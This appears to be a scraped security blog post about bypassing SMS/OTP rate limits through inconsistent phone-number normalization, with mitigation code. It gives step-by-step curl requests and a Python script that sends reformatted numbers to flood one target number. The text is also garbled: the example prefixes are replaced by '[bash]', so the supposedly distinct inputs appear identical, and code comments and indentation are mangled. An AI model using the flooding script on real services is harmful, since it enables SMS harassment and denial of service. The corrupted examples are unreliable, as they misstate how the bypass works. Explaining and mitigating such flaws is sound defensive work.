Listen to this Post
Introduction:
In the relentless pursuit of robust application security, even the most seemingly innocuous features can become potent weapons in the hands of an attacker. A recent discovery in an OTP/SMS endpoint reveals a critical vulnerability arising from inconsistent data handling between application logic and security controls. This flaw allows for the complete bypass of rate-limiting protections, leading to SMS flooding and severe harassment or denial-of-service attacks against victims.
Learning Objectives:
- Understand the technical mechanism behind rate-limiting bypass via input normalization inconsistencies.
- Learn a practical methodology for testing OTP/SMS endpoints for similar vulnerabilities.
- Implement robust mitigation strategies that ensure consistent data validation and rate-limiting key generation.
You Should Know:
1. Deconstructing the Vulnerability: The Normalization Dichotomy
The core of this vulnerability lies in a fundamental disconnect between two parts of the application: the business logic and the security logic.
Business Logic (SMS Sending): This component correctly normalizes the user-provided phone number. It strips non-essential characters (like the `
` or `[bash]` prefix in the example) to derive the canonical E.164 format (e.g., <code>0544444444</code>) for actual message dispatch.
Security Logic (Rate Limiting): This component uses the raw, un-normalized user input as the key for tracking request counts. It sees `"[bash]0544444444"` and `"[bash]0544444444"` as two entirely different identifiers.
This creates a situation where an attacker can send an unlimited number of requests by simply altering a non-significant part of the phone number string. Each unique string is a new key for the rate limiter, but all requests ultimately resolve to the same destination number, effectively nullifying the protection.
<h2 style="color: yellow;">2. Step-by-Step Guide to Exploitation</h2>
To weaponize this flaw, an attacker follows a simple, automated process.
<h2 style="color: yellow;">Step 1: Reconnaissance</h2>
Identify all endpoints in the application that send OTP codes or SMS notifications via a phone number parameter (e.g., <code>/api/v1/send-otp</code>, <code>/auth/sms-login</code>).
<h2 style="color: yellow;">Step 2: Baseline Establishment</h2>
Send a normal, well-formatted request to establish that the function works.
[bash]
Example using curl
curl -X POST https://target.com/api/send-otp \
-H "Content-Type: application/json" \
-d '{"msisdn": "0544444444"}'
Verify that you receive an SMS.
Step 3: Manipulation and Bypass
Now, manipulate the phone number format while preserving the actual digits. Send subsequent requests with altered prefixes, brackets, or spaces.
Request 1: Using a bracket notation
curl -X POST https://target.com/api/send-otp \
-H "Content-Type: application/json" \
-d '{"msisdn": "[bash]0544444444"}'
Request 2: Using a different bracket notation
curl -X POST https://target.com/api/send-otp \
-H "Content-Type: application/json" \
-d '{"msisdn": "[bash]0544444444"}'
Request 3: Using a plus sign and spaces
curl -X POST https://target.com/api/send-otp \
-H "Content-Type: application/json" \
-d '{"msisdn": "+972 54 444 4444"}'
If all three requests result in an SMS being sent to the same number without being blocked, the rate-limiting bypass is confirmed.
3. Building a Scanner for Automated Detection
Manual testing is effective, but for bug bounty hunters or penetration testers, automation is key. Below is a Python script using the `requests` library to automate the testing process.
import requests
import time
Target configuration
target_url = "https://target.com/api/send-otp"
headers = {"Content-Type": "application/json"}
base_number = "0544444444"
Payloads with different formatting
payloads = [
{"msisdn": base_number},
{"msisdn": f"[bash]{base_number}"},
{"msisdn": f"[bash]{base_number}"},
{"msisdn": f"+972{base_number[1:]}"},
{"msisdn": f"+972 {base_number[1:3]} {base_number[3:6]} {base_number[6:]}"},
]
def test_rate_limit_bypass(url, headers, payloads):
for i, payload in enumerate(payloads):
try:
response = requests.post(url, json=payload, headers=headers, timeout=10)
print(f"Payload {i+1}: {payload} -> Status: {response.status_code}")
A quick succession of requests is key to triggering the limit
time.sleep(0.5)
except requests.exceptions.RequestException as e:
print(f"Payload {i+1} failed: {e}")
if <strong>name</strong> == "<strong>main</strong>":
test_rate_limit_bypass(target_url, headers, payloads)
This script rapidly sends multiple requests with different phone number formats. If the response status is `200 OK` for all, it strongly indicates a bypass is possible.
4. Mitigation Strategies: Consistent Validation and Hashing
The solution requires enforcing consistency. The phone number must be normalized to a single canonical format before it is used for any purpose, including rate-limiting.
Step 1: Implement a Centralized Normalization Function
Create a single, robust function to normalize phone numbers. Use a library like `libphonenumber` (for Java/JavaScript) or `phonenumbers` (for Python) for best results.
Python Example:
import phonenumbers
def normalize_phone_number(input_number, default_region="IL"):
"""Normalizes a phone number to E.164 format."""
try:
parsed_number = phonenumbers.parse(input_number, default_region)
if phonenumbers.is_valid_number(parsed_number):
return phonenumbers.format_number(parsed_number, phonenumbers.PhoneNumberFormat.E164)
else:
raise ValueError("Invalid phone number")
except phonenumbers.NumberParseException:
raise ValueError("Could not parse phone number")
Example usage:
raw_input = "[bash]0544444444"
normalized_number = normalize_phone_number(raw_input)
normalized_number is now "+972544444444"
Step 2: Use the Normalized Value for Rate-Limiting
In your rate-limiting logic, use the normalized output as the key.
Pseudocode for Rate-Limiter:
normalized_msisdn = normalize_phone_number(request.json.get('msisdn'))
key = f"sms_rate_limit:{normalized_msisdn}"
if redis.get(key) and int(redis.get(key)) > MAX_SMS_PER_HOUR:
return {"error": "Rate limit exceeded"}, 429
else:
redis.incr(key)
redis.expire(key, 3600) Expire in 1 hour
... proceed to send SMS
5. Beyond Phone Numbers: Other Normalization Pitfalls
This vulnerability pattern is not exclusive to phone numbers. Vigilance is required in other contexts:
Email Addresses: The local-part of an email (before the @) is case-sensitive per the RFC, but many providers treat it as case-insensitive. [email protected], [email protected], and `[email protected]` might all go to the same inbox. If your rate limiter uses the raw input, it could be bypassed.
File Uploads: Checking a file’s type by its `Content-Type` header is unreliable; it must be validated against the actual file signature (magic bytes). An attacker can upload a malicious PHP script by changing the header to image/jpeg.
Username/Logins: A system should normalize usernames to a single case (e.g., lowercase) during both registration and login to prevent the creation of multiple accounts like Admin, admin, and ADMIN.
What Undercode Say:
- The Devil is in the Data Flow. This flaw is a stark reminder that security is not a feature to be bolted on. It must be woven into the entire data processing pipeline. A value must be validated and normalized once, at the ingress point, and that canonical value must be used universally throughout the application’s logic, persistence, and security layers.
- Abuse Cases Drive Defense. Quality Assurance (QA) often tests for “does it work?” but security testing asks “can it be abused?”. Development and testing teams must proactively think like an attacker, using parameter manipulation, fuzzing, and inconsistent data to break the system’s logic rather than just conforming to the happy path.
This vulnerability pattern highlights a systemic issue in software development where different teams or components make different assumptions about data. As APIs become more complex and microservices architectures proliferate, the risk of such inconsistencies grows. In the future, we predict that static and dynamic application security testing (SAST/DAST) tools will increasingly incorporate checks for these types of semantic security flaws, scanning for discrepancies in data handling across an application’s components. Furthermore, the responsibility for consistent validation will shift left, becoming a core requirement of API design specifications like OpenAPI, forcing developers to define normalization rules at the schema level before a single line of code is written.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Adkali Quicktip – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
